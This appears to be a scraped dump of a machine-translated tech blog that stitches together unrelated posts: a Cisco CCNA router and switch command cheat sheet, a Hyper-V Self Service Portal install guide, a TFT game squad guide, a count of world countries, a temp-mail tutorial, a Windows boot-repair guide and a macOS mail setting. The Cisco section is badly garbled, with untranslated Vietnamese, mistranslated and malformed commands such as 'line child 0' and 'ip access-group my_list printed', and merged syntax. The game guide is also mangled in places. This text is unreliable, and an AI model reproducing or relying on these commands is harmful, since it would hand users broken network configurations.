(config) #enable password cisco\nBật tắt mật khẩu mật khẩu trên tất cả mật khẩu văn bản trong tập tin cấu hình (encrypt all passwords in the configuration file)\nSwitch (config) #service password-encryption\nConfigure a Message Of The Banner, with an ending character of $ (set notification for banner, ending in $)\nSwitch (config) #banner motd $\nAssign IP address to vlan (assign ip to vlan)\nSwitch (config) #int vlan 1\nSwitch (config-if) #ip addr 172.22.1.11\n255.255.255.0\nAssign Default gateway, note the mode: assign default gateway.\nSwitch (config) #ip default-gateway 10.1.1.1\nSelect one interface: choose an interface.\nSwitch (config) #int fa0 / 1\nSelect a range of interfaces (version dependant): choose a range of interfaces.\nSwitch (config) #int range fa0 / 1 - 12\nSet the interface description: Write a description for the interface.\nSwitch (config-if) #description\nAdd vlan using config mode: add vlan using config mode.\nswitch (config) #vlan 11 switch (config-vlan) #name test\nConfigure Interface fa0 / 1 @ speed 100 Mbps and full duplex: Configure int fa0 / 1 at 100Mbps and full duplex.\nSwitch (config-if) #speed 100 Switch (config-if) #duplex full\nAssign interface to vlan: assign int to vlan.\nswitch (config-if) #switchport access vlan 11\nEnable Port Security: Enable port security.\nSwitch (config-if) #switchport mode access Switch (config-if) #switchport port-security Switch (config-if) #switchport port-security mac-address sticky\nDisable Interface: turn off int\nSwitch (config-if) shutdown\nEnable Interface: allows int to work.\nSwitch (config-if) no shutdown\nConfigures 5 Telnet sessions each with a password of 'cisco': allow 5 Telnet sessions at a time, the password is cisco.\nSwitch (config) #line vty 0 4\nSwitch (config-line) #login\nSwitch (config-line) #password cisco\nEnable and define console password of 'cisco': Activating and setting the console password is cisco.\nSwitch (config) #line child 0\nSwitch (config-line) #login\nSwitch (config-line) #password cisco\nSynchronize console messages (keep what you have on the screen): Synchronize console notifications, keep what you've typed on the screen.\nSwitch (config-line) #logging synchronous\nSet the timezone and automatically adjust: Set the timezone and automatically change.\nSwitch (config) #clock timezone gmt 0 Switch (config) #clock summer-time gmt recurring\nSets priority switch for vlan: Set priority for vlan.\nSwitch (config) # spanning-tree vlan 1 priority 4096\nEnables portfast: Enable portfast.\nSwitch (config) #int fa0 / 1\nSwitch (config-if) # spanning-tree portfast\nEnables RSTP: Turn on RSTP, there are other options are PVST and MST.\nSwitch (config) # spanning-tree rapid-pvst mode\nCreates a vlan: Create vlan. This command is executed in config mode, not in vlan database and the int vlan command does not create vlan.\nSwitch (config) #vlan 2 Switch (config-vlan) #name sales\nAssign an interface to vlan 2: Assign int to vlan 2.\nSwitch (config-if) #switchport access vlan 2\nForcing int is an unconditional trunk. It is possible to choose another mode of access and dynamic.\nSwitch (config-if) #switchport mode trunk\nManually switch the switch to the VTP domain. The switch automatically becomes part of the VTP domain if it is in the \"null\" domain and receives the VTP frame.\nSwitch (config) #vtp domain lab\nChanging VTP mode from default mode is server to client. In client mode, it cannot be changed.\nSwitch (config) #vtp mode client\nCisco router configuration command Set a password console to cisco: Setting the console password is Cisco. Router (config) #line child 0 Router (config-line) #login Router (config-line) #password cisco Set a telnet password: Set telnet password. Router (config) #line vty 0 4 Router (config-line) #login Router (config-line) #password cisco Stop console timing out: Console is not logged off. Router (config) #line child 0 Router (config-line) # exec-timeout 0 0 Set the enable password to cisco: Set the enable password to be cisco. Router (config) #enable password cisco Đặt sự mật khẩu enable enable sang peter:\nSet secret password is peter. This password overrides the enable password and is encrypted in the configuration file.\nRouter (config) #enable secret peter Enable an interface: Enable interface. Router (config-if) #no shutdown To disable an interface: Turn off the interface. Router (config-if) #shutdown Set the clock rate for a router with a DCE cable to 64K: Set the clock rate for the router with the DCE cable to 64000. Router (config-if) clock rate 64000 Set a logical bandwidth assignment of 64K the serial interface: Assign logical bandwidth to the serial interface. Router (config-if) bandwidth 64 To add an IP address to a interface: Add IP to the interface. Router (config-if) #ip addr 10.1.1.1 255.255.255.0 To enable RIP on all 172.16.xy interfaces: Turn on RIP on all interface 172.16.xy Router (config) #router rip Router (config-router) #network 172.16.0.0 Disable RIP: Turn off RIP. Router (config) #no To rip router enable IRGP with a AS of 200, to all interfaces: Turn on IRGP with AS 200 for all interfaces. Router (config) #router igrp 200 Router (config-router) # Network 172.16.0.0 Disable IGRP: Turn off IGRP. Router (config) #no igrp 200 router The static remote network route is 172.16.1.0, with the mask 255.255.255.0, the next hop is 172.16.2.1, with the cost of 5 hop. Router (config) #ip route 172.16.1.0 255.255.255.0 172.16.2.1 5 Disable CDP for the whole router: Turn off the CDP for the whole router. Router (config) #no cdp run Enable CDP for the whole router: Turn on the CDP for the whole router. Router (config) #cdp run Disable CDP on an interface: Turn off CDP on the interface. Router (config-if) #no cdp enable Enable the http server to SDM can be used: Enable http server to use SDM.\nRouter (config) #ip http server\nDefines a username and password: Set username (sue) and password (cisco). Can be used for PPP authentication or user access.\nRouter (config) #username to password cisco\nDetermine the local host file in unix, like:\n/ etc / hosts in unix\nRouter (config) #ip host mypc 10.1.1.3\nDisable Disables DNS lookup. Useful when commands are typed.\nRouter (config) #no ip domain-lookup\nSet the logical bandwidth (not physical) for the interface. Commonly used by routing protocols, SNMP queries.\nRouter (config) #int s0\nRouter (config-if) #bandwidth\nSetting up the physical clock\nRouter (config-if) #clock rate 64000\nSet WAN interface serial encapsulation: In addition to hdlc there is another option, PPP and frame-relay.\nRouter (config-if) #encapsulation hdlc\nAuthentication on PPP is optional: Authentication on PPP is optional. This command turns chap on interface, another option is PAP.\nRouter (config-if) #ppp authentication chap\nChoose LMI type. If the LMI type is not properly configured it will be detected automatically.\nRouter (config-if) # frame-relay lmi-type cisco\nStatic routing. Static routing types have Administrative Distance (AD) of 1, so it will override any dynamic routing.\nRouter (config) #ip route 50.0.0.0 255.0.0.0\n10.1.2.1\nEnables RIP version 1 on all LOCAL interfaces mà có một 10.xxx address: Enable RIP v1 on all LOCAL interfaces with address 10.xxx\nEnables RIP version 2: Turn on RIP v2\nRouter (config) #router rip\nRouter (config-router) #network 10.0.0.0\nRouter (config-router) #version 2\nEnable router to provide a DHCP service: Set up DHCP on the router.\nRouter (config) #ip dhcp pool MYPOOL\nRouter (dhcp-config) #network 10.1.1.0 255.255.255.0\nRouter (dhcp-config) # default-router 10.1.1.1 Router (dhcp-config) #exit\nRouter (config) #ip excluded-address dhcp 10.1.1.1 10.1.1.99\nSetup config register: Specify the router to do when it starts.\nRouter (config) # config-register 0x2102\nCreate sub logic interface under the physical interface.\nEnable 802.1q trunking on the interface.\nSet IP address.\nRouter (config) #int fa0 / 0.1\nRouter (config-subif) #encapsulation dot1Q 1\nRouter (config-subif) #ip address 10.1.1.1\n255.255.255.0\nEnabling OSPF on any local interface starts with IP address 10.1.xx\nRouter (config -) # router ospf 1\nRouter (config-router) #network 10.1.0.0\n0.0.255.255 area 0\nEIGRP can be configured in the same way as RIP or use mask options.\nRouter (config) #router eigrp 1\nRouter (config-router) #network 172.16.0.0 Or\nRouter (config-router) # Network 172.16.2.0\n0.0.0.255\nSet ACL standard. This standard uses numbers from 1 to 99.\nRouter (config) # access-list 1 permit\n172.16.1.1\nSet Extended ACL. The first address is the source IP address.\nRouter (config) # access-list 101 deny tcp host\n172.16.1.1 host 172.16.2.1 eq telnet Router (config) # access-list 101 ip permits any any\nDùng bộ lệnh này để attach một giao diện ACL: Use the group command to attach the ACL to the interface.\nRouter (config) #interface fa0 / 0\nRouter (config-if) #ip access-group 1 out\nAn example of using an ACL name instead of a number.\nRouter (config) #ip access-list extended my_list\nRouter (config-ext-nacl) # deny tcp host\n172.16.1.1 host 172.16.2.1 eq ftp\nRouter (config-ext-nacl) # ip permit any any\nAssign the ACL to the interface by name.\nRouter (config) #int fa0 / 0\nRouter (config-if) #ip access-group my_list printed\nConfiguring a static NAT to allow a server to be accessed via the Internet, using the IP address on interface s0 / 0/1: Configure static NAT to allow server access over the Internet, using the IP address on the interface s0 / 0 /first.\nRouter (config) #ip nat inside source static\n10.1.1.2 interface s0 / 0/1\nDefining interface which NAT takes place between: Specifies the interface that NAT happens.\nRouter (config) #int fa0 / 0.1\nRouter (config-if) #ip nat inside\nEnables RIPng: Turn on RIPng\nRouter (config) # ipv6 unicast-routing\nRouter (config) # ipv6 rip ccna router\nRouter (config) #int s0 / 0/0\nRouter (config-if) # ipv6 rip ccna enable\nPrivilege Commands on the Switch\nDescribe\nOrder\nTurn on the setup dialog box automatically when the device starts without configuration.\nSwitch # setup\nDisplays the held config in DRAM. Có không có nếu không sao lưu chạy câu lệnh start không được dùng: Show configuration saved in DRAM. This configuration is lost when the command not copy run start is not used.\nSwitch # show running-config\nDisplays the NVRAM (None volatile) config: Displays NVRAM configuration.\nSwitch # show startup-config\nSaves the config: Save the configuration, without this command all changes and configuration will be lost.\nSwitch # copy running-config startup-config\nLưu hành chạy config để một TFTP server: Save the configuration running into the TFTP server.\nSwitch # copy running-config tftp\nCopies IOS files to a TFTP server: Copy the IOS file to the TFTP server.\nSwitch # copy flash tftp\nCopies files from a TFTP server the flash device: Copy files from TFTP to the flash device.\nSwitch # copy tftp flash\nErase the config held in NVRAM: Delete the configuration saved in VNRAM. If you execute this command with reload, all configuration will be lost.\nSwitch # erase startup-config\nReboots the device: Restart the switch.\nSwitch # reload\nSequence abort: Cancel a command, procedure\n6\nSuspend Telnet Session: Pause telnet session\nPress at the same time 6, release all the keys and immediately press x\nShow the current sessions: View the current session, which session * is the active session.\nSwitch # show sessions\nForcible closes a telnet session: Force to close a telnet session.\nSwitch # disconnect\nSet the local device clock: Set the local time for the device. This command is not executed in configuration mode.\nSwitch # clock set 10:00:00 april 2 2008\nDisplay version IOS along with other useful info: View IOS version and other useful information such as uptime system, register configuration .\nSwitch # show version\nView file contents of flash.\nSwitch # show flash\nSee time.\nSwitch # show clock\nSee the user currently logged in.\nSwitch # show users\nBy default displays the last 10 commands: See the 10 commands used.\nSwitch # show history\nDisplays the ARP cache: View ARP cache.\nSwitch # show arp\nDisplays the spanning tree status on 1 vlan: View the state of spanning tree on vlan 1.\nSwitch # show spanning-tree vlan 1\nLists all the configured vlans: List all configured vlan.\nSwitch # show vlan\nDisplays VTP info such as VTP mode, VTP domain, VTP counter: View VTP information such as mode, domain, counter.\nSwitch # sh vtp status\nPing selected address: Ping an IP address.\nSwitch # ping 10.1.1.1\nExtended ping: Must be executed in privilege mode.\nSwitch # ping\nDisplay the status interface: Displays the interface status.\nSwitch # show int fa0 / 1\nHiển thị trạng thái vlan và địa chỉ IP địa chỉ IP (thường sự quản lý vlan): See VLAN 1 status.\nSwitch # show interfaces vlan 1\nDisplays a list of CDP neighbors: See CDP list.\nSwitch # show cdp neighbors\nExtended information on the above: See more information than the above command.\nSwitch # show cdp neighbors details\nDisplay CDP packets as they arrive: See CDP packages when they arrive.\nSwitch # debug cdp packets\nDisplay ping packets as they arrive: Displays ping packets when they arrive.\nSwitch # debug icmp packets\nDisplay MAC Addresses table switch. Entries are from the source address in the Ethernet frames: See the MAC address table, taken from the source MAC address in the Ethernet frame.\nSwitch # show mac address-table\nPrivilege Commands, show commands on the Router Request\nCisco command\nEnter privileged mode\nenable\nReturn to user mode from privileged\ndisable\nExit the router\nlogout / exit / quit\nSee the router version\nRouter # show version\nView current configuration (DRAM)\nRouter # show running-config\nSee startup configuration (NVRAM)\nRouter # show startup-config\nSee the capacity of IOS file, flash\nRouter # show flash\nView all recorded router logs.\nRouter # show log\nSee interface status of interface e0\nRouter # show interface e0\nHiển thị thiết bị xác thực giao diện và IP địa chỉ giao diện cho các giao dịch: See operating status of interface and IP address for all router interfaces.\nRouter # show ip interface brief\nSee cable type on s0\nRouter # show controllers 0\nSee connected cdp devices\nRouter # show cdp neighbor\nSee detailed information on all devices\nRouter # show cdp entry *\nDisplays all the routing protocols: See all configured routing protocols.\nRouter # show ip protocols\nDisplays the IP routeing table: Displays IP routing tables.\nRouter # show ip route\nShow access list\nRouter # show access-lists\nSee which routers see the ISDN switch\nRouter # show isdn status\nDisplays the NAT translations: See the NET translation.\nRouter # show ip nat translations\nView physical cable configuration:\nDTE / DCE, x.21, V.35,\nRS232\nRouter # show controllers s 0\nDisplays the end-to-end status: Displays end-to-end status\nRouter # show frame-relay pvc\nDisplays the type of LMI and the number LMI frames: See LMI type and LMI frame number.\nRouter # show frame-relay lmi\nHiển thị một số hiệu đối số đối tượng bracket ARP table: Show frame frame relay inverse ARP.\nRouter # show frame-relay map\nSee the list of ospf neighbors and their status\nRouter # show ip ospf neighbor\nSee the status of ospf interface.\nRouter # show ip ospf interface\nView the list of neighbor eigrp and their status.\nRouter # show ip eigrp neighbor\nSee interface status EIGRP.\nRouter # show ip eigrp interface\nView all trunk ports on the device\nRouter # show interface trunk\nping IPv6\nRouter # ping 2000: 1000: 500: 3 :: 1\nCopy command on Cisco router Request Cisco Command Save current configuration from DRAM to NVRAM copy running-config startup-config Merge NVRAM configuration into DRAM copy startup-config running-config Copy DRAM configuration to TFTP server copy runing-config tftp Configuration merge TFTP image with the current router configuration saved on DRAM copy tftp runing-config Backup IOS to TFTP server copy flash tftp Upgrade IOS router from TFTP server copy tftp flash Debug commands on Cisco routers Request Cisco Turn on debug command for RIP debug ip deletion View IGRP debug information summarizing debug ip igrp events See the IGRP debug information in details of debugging igrp transactions Debug IPX RIP debug ipx routing activity Debug IPX SAP debug IPX SAP Debugging IPX SAP debug IPX SAP Turn on debug CHAP or PAP debug ppp authentication Turn off all debug no debug all undebug all\nSee also: CCNP_BCMSN Lab: Trunk Configuration\nncG1vNJzZmismaXArq3KnmWcp51ksKq%2FwqhknJuelnqku8ymmKecXajGr8DHnqqiqw%3D%3D\n","link":"/post/cisco-ccna-command-synthesis/","section":"post","tags":null,"title":"Cisco CCNA command synthesis"},{"body":"TipsMake.com - In the previous articles, we have created some image files for virtual machines and also successfully installed SCVMM but still missing a puzzle piece. At this point, the user does not have an interface to build the virtual machine so we will need to set up Self Service Portal to allow valid users to create pre-configured virtual machines above the cloud infrastructure.\nSelf Service Portal (SSP) is a free add-on for SCVMM manager. For the purpose of the series, we will use the SSP 2.0 version. You can download the version from here.\nInstall SSP After downloading the SSP, launch the installation process by double-clicking the SetupVMMSSP.exe file. Click Install on the screen that appears to install.\nThe program installation window appears. The first screen will ask if the user accepts the terms of the agreement. Select Accept to accept then click Next . The next screen will ask if the user wants to install optional VMMSSP server, VMMSSP Website or both, as shown below.\n  In actual deployment, you may want to install these options on separate servers due to performance and security issues. For simplicity, we will choose to install both components on the same server.\nIf you look closely at the above, you will notice that there are several conditions required to install these two options. VMMSSP server requires SCVMM and SQL Server database to be installed. Don't worry because we installed them in the previous lesson.\nBefore continuing, please check the version of SQL Server running on the server. The SSP requires the use of SQL Server 2008. If the server is currently running SQL Server 2005, you will have to upgrade the version before continuing (users will not be able to upgrade if you are using the Express Edition). Of course, you can also choose to connect to a version of SQL Server 2008 on another server.\nHere, we assume that SQL Server is installed locally as the 2005 Express Edition version, so you must install SQL Server 2008 in parallel with the current version.\nVMMSSP Website requires Internet Information Services (IIS) and ASP.NET. Since IIS is not running on the server, please cancel the installation (unless you intend to run the website component on another server). Here's how to install IIS and then return to the unfinished SSP installation point now.\nInstall IIS To install IIS, open Server Manager, click on the Roles folder and click Add Roles . When the Add Roles window appears, click Next to bypass the Welcome screen. Now, select the Web Server (IIS) option from the Select Server Roles screen as shown below and click Next .\n  Click Next again to go to the Select Role Services screen. Select ASP.NET. If asked if you want to add a secondary service role, just click the Add Required Role Services button.\n  However, there are a few other service roles that are not listed on the first image except IIS and ASP.NET. We need to select IIS 6 Management Compability. You will also need to select the Windows Authentication role service.\nClick Next to see which components will be installed. If all is correct, click the Install button. When the installation process is successful, click Close . Although the installation window does not require a server reboot, you should restart the computer to make the deployment steps remaining smoother.\nWhen the server restarts, return to Server Manager, click on the Features folder and click the Add Features link . Select Message Queuing options. Click Next and then select Install to install the Message Queuing feature. When the installation process is complete, click Close and restart the server.\nContinue installing SSP Now, IIS has been installed. Launch the SSP installation window. Accept the installation clause and choose to install both VMMSSP server and VMMSSP website and click Next .\nThe installation program will take a while to confirm the conditions. If you follow the instructions of the lesson, all conditions must be satisfied.\nClick Next to select the installation path you want to use. You can always get the default path and click Next .\nThe next screen will ask for the database server name. We can connect to an existing version of SQL Server or create a new one.\n  Click Next to enter the Active Directory Domain Services account for the server to use as its service account. The default software uses a domain administrator account but it is better to create a dedicated service account.\n  The next screen requires entering the server name. If you are setting up server and website options on the same server, you can accept the default settings.\n  The next step is to enter the list of data center administrators. These are people who will have full access to the SSP and use all its features.\n  Finally, you will have to provide the name for the IIS Website and the port. Here, since port 80 is already in use, we have to choose another standard port (79).\n  A screen displays a list of selected options that appear. If everything is correct, click Install . At that time, a warning appears that the process will take a while to complete. Click Yes to install.\nAfter installation is complete, we still have to configure SSP software before using it. The figure below is the original interface of the software.\n  Now, we have installed SSP. In the following lesson, we will learn how to configure SSP.\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZq6Zp8G2rctmmqWnpZl6uLXToWShsaCav7d5z5qprWVm\n","link":"/post/create-virtual-cloud-with-hyper-v-part-6/","section":"post","tags":null,"title":"Create virtual cloud with Hyper-V (Part 6)"},{"body":"Both the Gladiators and the Gunners are very well-coordinated tribes and are one of the strongest lineup of the Arena of Truth this season because each of the generals here compensates for each of their weaknesses.\nGladiators are the best tankers to support champions that deal damage in the back row. The Gunners lack those tanks and the Gladiators can provide a good defense for Gunner champions.\nOverall, Gunner Gladiators may be a team that is not easy to build, but once you have completed the team and set up DTCL season 3 for the generals, this will be an S-rank squad in DTCL 10.6 .\nIn the guide to building the Gunner lineup for Season 3 below, you will learn how to turn your squad into the Gunner squad. The equipment best suited for champions and the right position for them.\nInstructions to build the DTCL Gunners squad Season 3 Gunner General   You can see the DTCL Gunners in Season 3 like the Gunners in Season 2 and Season 1. In addition to Ezreal, the other 4 generals are the Gunners in Season 1, Graves is also in Season 1 but in Season 3 he have been changed skills.\nThere are 5 ADC champions and all 5 champions are divided equally between 1 and 5. With the 5 ADCs, getting the 2 and 4 AD carries is quite easy. With a synergy buff, the ADC is a champion with lots of damage and plenty.\nAmong the marksmen champions, the most notable are Miss Fortune and Jinx. If Jinx has enough equipment, the damage will be extremely high. Miss Fortune is scary in that it can deal large-scale damage.\nSynergistic Buff: Every 4 regular shots, the Gunners will deal additional basic attacks that deal double damage\n2 Gunners: 2 Phat 4 Gunners: 4 shots Gladiator   There are 4 total Gladiators in this season 3 and the amount is spread from 1 to 4 gold. Activation levels are 2 and 4 Gladiators.\nMalphite and Blitzcrank can be easily acquired at the beginning of the game due to their low cost. Help you have 2 Gladiators buff and add health to the team. Malphite with passive now gains maximum health armor when combined with the Gladiator buff will help him quite bull. Blitzcrank can break the enemy squad with his skills.\nCho'Gath is both buffalo and one of the best control generals in the game. Vi has a good ability to deal damage. So when you have 4 Gladiators, you just have a tanker that can control and damage a large area.\nSynergy Buff: Gladiator champions gain extra health.\n2 Gladiators: 300 health 4 Gladiators: 800 health Advantages of the Gunners squad   The tanker tank is extremely reputable Damage, control are in a wide area. Maintain extremely good damage. Easy to build squad Cons of Gunner squad   Easily countered by the Secret Detective Depends heavily on Jinx, if Jinx does not get 2 stars or is shocked with damage, the ability of the team will die afterwards. Early game   Catch cheap Gunner and Gladiator champions early in the game, these are the ones you can easily see in the early game.\nJust the extra amount of health of 2 Gladiators will help you hold well in the early game. If you have a Giant Destroyer or Angel Armor, then give Graves and can later switch to Jinx. With the above squad, you probably won't lose blood in the early stages of the game.\nBut for the time being you should hoard gold and don't need to level up too soon. You don't need to buy experience until the end of round 2, just buy the generals needed to perfect your squad.\nBetween game   At the moment the most important is that you need to find all 4 Gladiators and Jinx. If Jinx is captured, then sell Graves and let Jinx in. Giant Removal will be the appropriate equipment to help maximize the damage of Jinx. In addition, you should also equip her Angel Armor or Trap Claw.\nIn addition, the Guinsoo Rage, General Cannon and Red Charm are also suitable equipment for Jinx.\nNow your ideal team will have Jinx, Ezreal, Cho'Gath, Blitz, Malphite, Vi. Specifically, 4 Gladiators, 2 Gunners, 2 Time Without.\nEndgame   The fact that you can accumulate enough money and spend properly will determine your rank. Specifically, you should level up to 8, Jinx and Cho'Gath get 2 stars and grab Miss Fortune. If there are 4 Gladiators and 4 Gunners, your squad will be extremely strong and do not need to be level 9 to do anything.\nIt is best to prioritize 3 star generals instead of level 9 because the team does not benefit much if there is a 9th place in the team. Specific equipment for champions will be:\nJinx: Giant Removal, Trap Claws will be useful equipment if facing the Secret Team. If you are more careful, you can equip Jinx with an Art Cloak or Angel Armor, or speed up the fight with Rageblade. Miss Fortune: If you have the Magic Cloak, Miss Fortune will not be controlled and can shoot continuously at the enemy team. If she has an additional Demon Lord / Witch Hat Rabadon, the damage will increase quite a bit. Angel Messenger will be the equipment to help Miss Fortune can shoot soon. If you have a Rebellion Badge on it, it will help you activate 3 Rebellions. Increased for the team and Jinx, Malphite will gain additional armor and damage. Has strong now even stronger. Position the generals in the team   Cho'Gath will be a tanker because he can take the most damage when the round starts. Doing so will allow Cho'Gath to use ulti faster than other champions and will stun the enemy team on a large scale.\nVi, too, standing in the front row and taking damage for a few seconds will help her rush back and \"scoop\" for the farthest target in a match. Blitzcrank is in the back to pull the farthest enemy (usually the main carry of the enemy team) to let the Gunners champions \"hide\", especially Jinx. The Gunner champions of your team should be able to deal damage per second without interruption.\nHowever, you should not place Jinx and Miss Fortune in two corners if you do not have the Capes. Because the enemy team has Blitzcrank very often appears in the Time team and loudly silly it drags back to its team and you will stop hoping to eat the enemy team. So leave Ezreal and Lucian on both corners so that the two men can risk their lives, because the damage of both are not as important as Jinx and Miss Fortune.\nPlace Blitzcrank next to Jinx because Blitz can pull a target back and help Jinx gain inner power immediately.\nIf the soi has a Secret Detective team then position it so that Jinx is not targeted. It is best to use a corner team.\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddl8KquMNmm62bnGK0ra3Dopitp6JiwLLBwJ1kn6eiYsCmrdKopWZr\n","link":"/post/guide-to-build-dtcl-gladiator-squad-for-season-3/","section":"post","tags":null,"title":"Guide to build DTCL Gladiator Squad for Season 3"},{"body":"A country is a subject of complete, sovereign international law that must meet the following criteria: defined territory, government and the ability to participate in international relations, stable population. . This has been stipulated in Article 1 of the Montevideo Convention on the rights and obligations of States signed in Montevideo, Uruguay on December 26, 1933.\nSaudi Arabia built a $ 500 billion super city spread across three countries, 33 times larger than New York The strange paradox 6 countries in the world The whole Earth seems to shrink in this beautiful country In the world today, there are a number of countries that claim to be independent but one is recognized but the government does not have enough powers or is not internationally recognized as a political entity.\n  Currently there are 204 countries in the world.\nIf these countries are included, there are 204 countries in the world today. Including:\n193 countries are recognized as official members of the United Nations.\n2 countries are observers at the United Nations.\nVatican City. Palestine - The Palestinian state is not recognized by many other countries in the world. 2 countries are recognized and independent in many countries.\nTaiwan - There are 19 UN member states and the Vatican City still maintaining formal relations. Kosovo - 111 of 193 United Nations members, 24 of 28 NATO members, 23 of 28 members of the European Union, 35 of 61 members of the Islamic Cooperation organization recognize it. A country that is not independent in practice but is recognized by many countries as the Western Sahara. African Union and at least 41 countries recognize this as sovereign territory but are occupied.\n6 countries declared independence but were not recognized.\nAbkhazia - Only Russia, Nauru, Tuvalu, Nicaragua, Venezuela, Vanuatu recognized. Northern Cyprus - Only Turkey recognized. South Ossetia - Only Russia, Nauru, Nicaragua, Venezuela recognized. Somaliland, Transnistria and Nagorno - Karabakh - No other country or international organization has recognized it yet. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjKaYp7FdmLy2utOroJ6rXZa7pXnTnqmroaSkv6qx0maYq51dqbWmvsRmoKdlpJ2ybsPOq6OdZaSksaLF\n","link":"/post/how-many-countries-and-territories-are-there-in-the-world-today/","section":"post","tags":null,"title":"How many countries and territories are there in the world today?"},{"body":"For privacy and security reasons, many people tend to create different email addresses for different purposes. However, users still face the situation of email spam, extremely uncomfortable. If so, we should use tools or some websites that support creating email such as Nada Temp Mail.\nNada Temp Mail provides users with a lot of virtual domain names to use. We just need to choose the domain name and enter the name for the email address is done. Virtual emails created on Nada Temp Mail can read and download attachments. The following article will guide you how to use Nada Temp Mail to create virtual email addresses.\nHow to use AltMails to create unlimited virtual emails How to create virtual emails on IdBloc How to create virtual email with Temp Mail on your phone How to use Mailspre to send anonymous emails Instructions for creating virtual emails on Nada Temp Mail Step 1:\nFirst, visit the link below to go to the Nada Temp Mail homepage.\nhttps://getnada.com/  Now the site has created a virtual email address for you at the top of the line Temp mail such as tepa@getnada.com as in the picture. This email address is not fixed and changes as soon as you reload the page.\nWe can click the copy icon to immediately copy the email address to use as online account registration.\n  Step 2:\nIf users want to create their own email, then click Add Inbox .\n  Now display the interface to choose a domain name for email and set a name for email to use. Email domain name is selected in the list provided by Nada. Click Accept to agree to the choice of this newly created virtual email address.\n  So we have 2 emails to use, one that you randomly generated and the one you choose. We continue to perform the above operations to create new emails. If you do not want to use this email, then click on the trash can icon to delete that email address.\n  Step 3:\nWhen the email comes we will see the name display as shown below. Click on the name of the email sent to view the content.\n  Step 4:\nAt this time display the email content. If there are attachments, we are informed the number of files. You just need to click to download the attachment to your computer.\n  In addition to the web-based Nada Temp Mail, we can use the additional Nada Temp Mail utility on Chrome. Click on the link below to install the Nada Temp Mail utility.\nDownload the Nada Temp Mail Chrome extension   When clicking on the utility icon, you will see 3 icons including Change to change the email address, Copy to copy the email and Open to open the email when an email arrives. With the Chrome browser version, users do not have the option to create emails, but only 1 random email generated by the utility.\n  Creating a virtual email will help you a lot when you only need an email to register for an account, not for work or other important communication needs. Nada Temp Mail still supports us to read email as usual or download attachments if any.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZK%2BhoqnCoriMnqSaoZxivK95zZqbmmWkmrqxecyaoKU%3D\n","link":"/post/how-to-create-a-virtual-email-on-nada-temp-mail/","section":"post","tags":null,"title":"How to create a virtual email on Nada Temp Mail"},{"body":"However, this feature can sometimes not perfect errors and sometimes do not fix the error, this feature will automatically restart the machine and repeat this action makes users uncomfortable.\n1. Common causes of Automatic Repair errors   Automatic Repair usually occurs when your computer is suddenly powered off due to a power outage or because we turn off the power with the Power button. Additionally, the Automatic Repair error appears when the file that executes the Boot process ( Windows Boot Manager ) fails. Besides, there are many other objective causes affecting Automatic Repair errors such as driver conflicts, blue screens .\n2. Ways to fix Automatic Repair errors 2.1. Access to Command Prompt Step 1: On the Automatic Repair error screen , click Advanced options .\n  Next, click on Troubleshoot .\n  Then choose Advanced options .\n  Next, select Command Prompt . Your computer will restart momentarily and configure the Command Prompt feature .\n  After rebooting the computer, Windows will ask you to select an account on the machine. Please click on the account and login password (if any).\n  After we access the Command Prompt as shown below is successful!\n  2.2. Use the Check disk command to automatically correct errors In the Command Prompt window , enter the following command and press Enter :\nchkdsk / f / r C:\nAfter that, the Check Disk tool will automatically correct the errors and apply the changes to you. The next thing you need to do is turn off the Command Prompt window and restart the computer after the Check Disk is complete.\n  2.3. Use the Bootrec command in the Command Prompt Step 1: Enter the following command and press Enter .\nbootrec.exe / rebuildbcd\n  Step 2: Enter the following command and press Enter .\nbootrec.exe / fixmbr\n  Step 3: Enter the next command and press Enter .\nbootrec.exe / fixboot\n  After completing the commands, then exit CMD and restart the computer.\n2.4. Turn off Automatic repair in Command Prompt To turn off Automatic Repair in CMD, enter the following command and press Enter :\nbcdedit / set recoveryenables no\n  To turn this feature back on, change it from No to Yes in the above command.\nbcdedit / set recoveryenables yes\n  2.5. Data reset in the computer Step 1: Click Advanced options on the Automatic Repair screen .\n  Step 2: Click Troubleshoot .\n  Step 3: Click Reset this PC .\n  Step 4: You choose Keep my files to keep documents and files not backed up on drive C. If you have saved the file, you should choose Remove everything to make the computer after the reset \"cleaner\" and avoid errors such as software conflicts, drivers.\n  Step 5: Click on Cloud download if you do not have the Windows installer on your computer and the Local reinstall option if you have ISO windows 10 on your computer. After selecting, the computer will begin the reset process.\n  \u0026nbsp;Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqiwdOopJqsmZh6s7HPmqCrZZykvLF5xKupqKpdpLtuw8inm6ivo2J%2BcQ%3D%3D\n","link":"/post/how-to-fix-automatic-repair-loop-error-on-windows-10/","section":"post","tags":null,"title":"How to fix Automatic Repair loop error on Windows 10"},{"body":"Most computer operating systems set up a default application to open data, links, videos, etc. or users can adjust the default program if desired. On macOS, when you click on an email sent or mailto links on the browser in use, the Apple Mail application is automatically opened.\nThere are a lot of people who do not want to use the default program to open this mail on macOS, and want to replace it with other email reader applications on the system. How to change the email reader on macOS will be in the article below.\nStep 1: First of all, we open the Mail application on the system, or select the Mail application on the Menu bar and then click on Preferences . Or you can use the shortcut ⌘ +, to open.\n  Step 2: Click on the General tab . We then proceed to change the default application to open Mail on the device. In the Default email reader section , click the blue box to open the application listed. Here, users simply select the default application to read email on macOS is done.\n  However, if we choose Finder in the HD\u0026gt; System\u0026gt; Library\u0026gt; CoreServices\u0026gt; Finder option, then click on the email link it will automatically switch to the Finder window instead of opening a new application.\nIf we want to open with the browser window, just select the web browser we want to use in the Applications folder . When clicking on the email link, it will keep the browser window you selected.\n  So you turned off the auto-open feature on the macOS Mail application. The auto-open feature is only suitable when users use mail client applications only. If you only use web mail services like Google and Outlook, you should turn off this open-up feature. This will limit the situation when users press the wrong button when they just want to copy and paste the email address.\nAlthough Apple Mail is always the default email reader on macOS, we can change it with the article above. Besides, if users often use web mail, it is recommended to remove the auto-open feature to make it easier to read emails on macOS.\nHope this article is useful to 